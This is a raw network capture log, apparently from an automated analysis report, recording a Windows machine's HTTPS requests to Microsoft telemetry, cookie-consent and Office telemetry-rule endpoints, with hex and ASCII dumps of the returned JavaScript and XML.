2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.10	49842	13.107.246.63	443	7560	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:27 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 07:44:27 UTC	712	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:27 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 2333 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bc63358d-901e-007b-6c3f-3e6fdd000000 x-ms-version: 2009-09-19 x-azure-ref: 20241124T074427Z-178bfbc474bpnd5vhC1NYC4vr400000005m000000000b0gh Accept-Ranges: bytes
2024-11-24 07:44:27 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-24 07:44:27 UTC	711	IN	Data Raw: 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 Data Ascii: r"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + la
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-24 07:44:27 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.10	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:28 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:28 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c780bae6-901e-005b-04c5-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074428Z-174c587ffdf6b487hC1TEBydsn00000003zg00000000h8xd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:28 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.10	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:28 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:28 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:28 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 1803db6b-d01e-0017-042e-3eb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074428Z-15b8b599d88wn9hhhC1TEBry0g000000045g000000009sc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 07:44:28 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.10	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:28 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:28 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074428Z-174c587ffdfp4vpjhC1TEBybqw000000041000000000hsy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:29 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.10	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:28 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:28 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 74bdb417-d01e-00ad-341a-3de942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074428Z-178bfbc474bgvl54hC1NYCsfuw00000005hg00000000cfyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
